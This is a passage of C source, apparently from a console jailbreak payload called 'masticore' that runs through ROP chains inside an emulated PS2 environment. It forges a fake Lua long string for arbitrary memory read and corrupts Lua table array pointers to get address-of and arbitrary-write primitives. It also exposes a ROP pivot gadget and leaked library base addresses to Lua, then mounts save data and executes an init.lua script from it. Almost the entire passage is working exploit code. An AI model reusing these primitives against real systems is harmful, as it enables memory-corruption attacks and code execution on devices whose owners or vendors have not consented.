send_notification("Mounted savedata at /savedata0");
|
|
return 0;
|
|
}
|
|
|
|
call_rop(sceKernelUsleep, 0, 1000000);
|
|
}
|
|
|
|
send_notification("Mount failed");
|
|
return -1;
|
|
}
|
|
|
|
// ============================================================================
|
|
|
|
void lua_push_tvalue(u64 lua_state, u64 value_ptr, u32 type_tag) {
|
|
u64 top = read64(lua_state + L_TOP_OFFSET);
|
|
|
|
// Write TValue at stack top
|
|
write64(top + 0x00, value_ptr); // value
|
|
write32(top + 0x08, type_tag); // tt_
|
|
|
|
// Increment stack top (TValue is 16 bytes)
|
|
write64(lua_state + L_TOP_OFFSET, top + 0x10);
|
|
}
|
|
|
|
// Push integer to stack
|
|
void lua_push_integer(u64 lua_state, u64 integer_value) {
|
|
lua_push_tvalue(lua_state, integer_value, LUA_TNUMINT);
|
|
}
|
|
|
|
// Create and push a fake long string for arbitrary read
|
|
u64 create_fake_string() {
|
|
u64 fake_string_addr = fake_string_offset;
|
|
|
|
write64(fake_string_addr + 0x00, 0); // next = NULL
|
|
write8(fake_string_addr + 0x08, 0x14); // tt = LUA_TLNGSTR
|
|
write8(fake_string_addr + 0x09, 0); // marked = 0
|
|
write8(fake_string_addr + 0x0A, 0); // extra = 0
|
|
write8(fake_string_addr + 0x0B, 0xFF); // shrlen = 0xFF
|
|
write32(fake_string_addr + 0x0C, 0); // hash = 0
|
|
write64(fake_string_addr + 0x10, 0x7FFFFFFFFFFFFFFF); // lnglen = max
|
|
|
|
return fake_string_addr;
|
|
}
|
|
|
|
void lua_pushcclosure(u64 lua_state, u64 fn) {
|
|
u64 top = read64(lua_state + L_TOP_OFFSET);
|
|
|
|
write64(top + 0x00, fn); // Function pointer
|
|
write32(top + 0x08, LUA_TLCF); // Type = 0x16
|
|
write32(top + 0x0C, 0); // Extra = 0
|
|
|
|
write64(lua_state + L_TOP_OFFSET, top + 0x10);
|
|
}
|
|
|
|
void setup_lua_primitives(u64 lua_state) {
|
|
// Create fake string for arbitrary read
|
|
u64 fake_string_addr = create_fake_string();
|
|
u64 string_data_base = fake_string_addr + 0x20; // Data at +0x20
|
|
|
|
// Push fake string to Lua stack
|
|
lua_push_tvalue(lua_state, fake_string_addr, LUA_TLNGSTR_GC);
|
|
|
|
// Set as global "FAKE_STRING"
|
|
static char mem_name[] = "FAKE_STRING";
|
|
call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)mem_name));
|
|
|
|
// Create ADDROF_TABLE table for addrof
|
|
u64 addrof_table = call_rop(lua_newtable, 0, lua_state);
|
|
|
|
if (addrof_table == 0) {
|
|
send_notification("ERROR: lua_newtable failed");
|
|
return;
|
|
}
|
|
|
|
// Setup ADDROF_TABLE's array in our buffer
|
|
u64 array_addr = fake_table_offset;
|
|
u64 array_size = 8;
|
|
|
|
// Initialize array (all nil TValues)
|
|
for (u64 i = 0; i < array_size; i++) {
|
|
write64(array_addr + (i * 16) + 0x00, 0);
|
|
write32(array_addr + (i * 16) + 0x08, LUA_TNIL);
|
|
write32(array_addr + (i * 16) + 0x0C, 0);
|
|
}
|
|
|
|
// Patch ADDROF_TABLE's structure
|
|
write32(addrof_table + 0x0C, array_size);
|
|
write64(addrof_table + 0x10, array_addr);
|
|
|
|
// Push and set as global
|
|
lua_push_tvalue(lua_state, addrof_table, LUA_TTABLE);
|
|
static char addrof_table_name[] = "ADDROF_TABLE";
|
|
call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)addrof_table_name));
|
|
|
|
// Create WRITE_TABLE Table
|
|
u64 write_table = call_rop(lua_newtable, 0, lua_state);
|
|
if (write_table == 0) {
|
|
send_notification("ERROR: WRITE_TABLE creation failed");
|
|
return;
|
|
}
|
|
|
|
// Set WRITE_TABLE's array to point to ADDROF_TABLE's structure
|
|
// WRITE_TABLE[2] will write to ADDROF_TABLE+0x10 (array pointer)
|
|
write32(write_table + 0x0C, 8); // sizearray = 8
|
|
write64(write_table + 0x10, addrof_table); // array points to ADDROF_TABLE
|
|
|
|
// Push and set as global
|
|
lua_push_tvalue(lua_state, write_table, LUA_TTABLE);
|
|
static char write_table_name[] = "WRITE_TABLE";
|
|
call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)write_table_name));
|
|
|
|
// Push ROP pivot gadget for lua using lua_pushcclosure
|
|
lua_pushcclosure(lua_state, LUA_PIVOT1);
|
|
static char lua_rop_funcname[] = "call_rop_internal";
|
|
call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)lua_rop_funcname));
|
|
|
|
// Export constants to lua
|
|
// ARRAY_ADDR
|
|
lua_push_integer(lua_state, array_addr);
|
|
static char array_addr_name[] = "ARRAY_ADDR";
|
|
call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)array_addr_name));
|
|
|
|
// STRING_BASE
|
|
lua_push_integer(lua_state, string_data_base);
|
|
static char string_base_name[] = "STRING_BASE";
|
|
call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)string_base_name));
|
|
|
|
// EBOOT_BASE
|
|
lua_push_integer(lua_state, eboot_base);
|
|
static char eboot_base_name[] = "EBOOT_BASE";
|
|
call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)eboot_base_name));
|
|
|
|
// LIBC_BASE
|
|
lua_push_integer(lua_state, libc_base);
|
|
static char libc_base_name[] = "LIBC_BASE";
|
|
call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)libc_base_name));
|
|
|
|
// FIOS_BASE
|
|
lua_push_integer(lua_state, fios_base);
|
|
static char fios_base_name[] = "FIOS_BASE";
|
|
call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)fios_base_name));
|
|
|
|
// LUA_STATE
|
|
lua_push_integer(lua_state, lua_state);
|
|
static char lua_state_name[] = "LUA_STATE";
|
|
call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)lua_state_name));
|
|
|
|
// USER_ID
|
|
lua_push_integer(lua_state, (u64)user_id);
|
|
static char user_id_name[] = "USER_ID";
|
|
call_rop(lua_setglobal, 0, lua_state, PS2_TO_NATIVE((u32)user_id_name));
|
|
|
|
}
|
|
|
|
void initialize_lua() {
|
|
static char script_path[] = "/savedata0/lua/init.lua";
|
|
|
|
u64 lua_state = call_rop(lua_newstate, 0, lua_allocator, 0);
|
|
|
|
if (lua_state == 0) {
|
|
send_notification("Failed to create Lua state");
|
|
return;
|
|
}
|
|
|
|
// Load Lua libraries
|
|
// lua_requiref here is not exact lua_requiref but does similar thing
|
|
call_rop(lua_requiref, 0, lua_state, PS2_TO_NATIVE((u32)"_G"), lualib__G, 1);
|
|
write64(lua_state + 0x10, read64(lua_state + 0x10) - 0x10);
|
|
|
|
call_rop(lua_requiref, 0, lua_state, PS2_TO_NATIVE((u32)"package"), lualib_package, 1);
|
|
write64(lua_state + 0x10, read64(lua_state + 0x10) - 0x10);
|
|
|
|
call_rop(lua_requiref, 0, lua_state, PS2_TO_NATIVE((u32)"coroutine"), lualib_coroutine, 1);
|
|
write64(lua_state + 0x10, read64(lua_state + 0x10) - 0x10);
|
|
|
|
call_rop(lua_requiref, 0, lua_state, PS2_TO_NATIVE((u32)"table"), lualib_table, 1);
|
|
write64(lua_state + 0x10, read64(lua_state + 0x10) - 0x10);
|
|
|
|
call_rop(lua_requiref, 0, lua_state, PS2_TO_NATIVE((u32)"io"), lualib_io, 1);
|
|
write64(lua_state + 0x10, read64(lua_state + 0x10) - 0x10);
|
|
|
|
call_rop(lua_requiref, 0, lua_state, PS2_TO_NATIVE((u32)"os"), lualib_os, 1);
|
|
write64(lua_state + 0x10, read64(lua_state + 0x10) - 0x10);
|
|
|
|
call_rop(lua_requiref, 0, lua_state, PS2_TO_NATIVE((u32)"string"), lualib_string, 1);
|
|
write64(lua_state + 0x10, read64(lua_state + 0x10) - 0x10);
|
|
|
|
call_rop(lua_requiref, 0, lua_state, PS2_TO_NATIVE((u32)"math"), lualib_math, 1);
|
|
write64(lua_state + 0x10, read64(lua_state + 0x10) - 0x10);
|
|
|
|
call_rop(lua_requiref, 0, lua_state, PS2_TO_NATIVE((u32)"utf8"), lualib_utf8, 1);
|
|
write64(lua_state + 0x10, read64(lua_state + 0x10) - 0x10);
|
|
|
|
call_rop(lua_requiref, 0, lua_state, PS2_TO_NATIVE((u32)"debug"), lualib_debug, 1);
|
|
write64(lua_state + 0x10, read64(lua_state + 0x10) - 0x10);
|
|
|
|
setup_lua_primitives(lua_state);
|
|
|
|
u64 load_status = call_rop(lua_loadfile, 0,
|
|
lua_state,
|
|
PS2_TO_NATIVE((u32)script_path),
|
|
0);
|
|
|
|
if (load_status != 0) {
|
|
send_notification("Failed to load init.lua");
|
|
return;
|
|
}
|
|
|
|
send_notification("Executing... init.lua");
|
|
|
|
u64 exec_status = call_rop(lua_pcall, 0,
|
|
lua_state,
|
|
0, // nargs = 0
|
|
0, // nresults = 0
|
|
0); // msgh = 0 (no error handler)
|
|
|
|
if (exec_status != 0) {
|
|
if (exec_status == 2) {
|
|
send_notification("LUA_ERRRUN (Runtime error)");
|
|
// Read error from log file
|
|
static char log_path[] = "/av_contents/content_tmp/lua_log.txt";
|
|
|
|
u64 fd = call_rop(sceKernelOpen, 0,
|
|
PS2_TO_NATIVE((u32)log_path),
|
|
0x0000, // O_RDONLY
|
|
0);
|
|
|
|
if (fd >= 0) {
|
|
char log_buffer[8192];
|
|
|
|
u64 bytes_read = call_rop(sceKernelRead, 0,
|
|
fd,
|
|
PS2_TO_NATIVE((u32)log_buffer),
|
|
sizeof(log_buffer) - 1);
|
|
|
|
call_rop(sceKernelClose, 0, fd);
|
|
|
|
if (bytes_read > 0) {
|
|
log_buffer[bytes_read] = '\0';
|
|
send_notification("Log saved to /av_contents/content_tmp/lua_log.txt");
|
|
show_dialog(log_buffer);
|
|
} else {
|
|
send_notification("Could not read error log");
|
|
}
|
|
} else {
|
|
send_notification("Could not open error log");
|
|
}
|
|
} else if (exec_status == 4) {
|
|
send_notification("LUA_ERRMEM (Memory allocation error)");
|
|
} else if (exec_status == 5) {
|
|
send_notification("LUA_ERRERR (Error in error handler)");
|
|
} else {
|
|
send_notification("Lua execution failed");
|
|
}
|
|
} else {
|
|
send_notification("Lua execution finished");
|
|
}
|
|
}
|
|
|
|
// ============================================================================
|
|
|
|
int main() {
|
|
detect_region();
|
|
kill_threads();
|
|
|
|
init_eboot_offsets();
|
|
init_libc_offsets();
|
|
setup_rop();
|
|
init_function_offsets();
|
|
init_fios_offsets();
|
|
|
|
send_notification("masticore initialized");
|
|
|
|
if (is_region_usa == 1) {
|
|
send_notification("USA version detected");
|
|
} else {
|
|
send_notification("EU version detected");
|
|
}
|
|
|
|
get_userid();
|
|
|
|
if (mount_savedata_readonly() == -1) {
|
|
send_notification("Fatal error aborting...");
|
|
return -1;
|
|
}
|
|
|
|
initialize_lua();
|
|
|
|
} |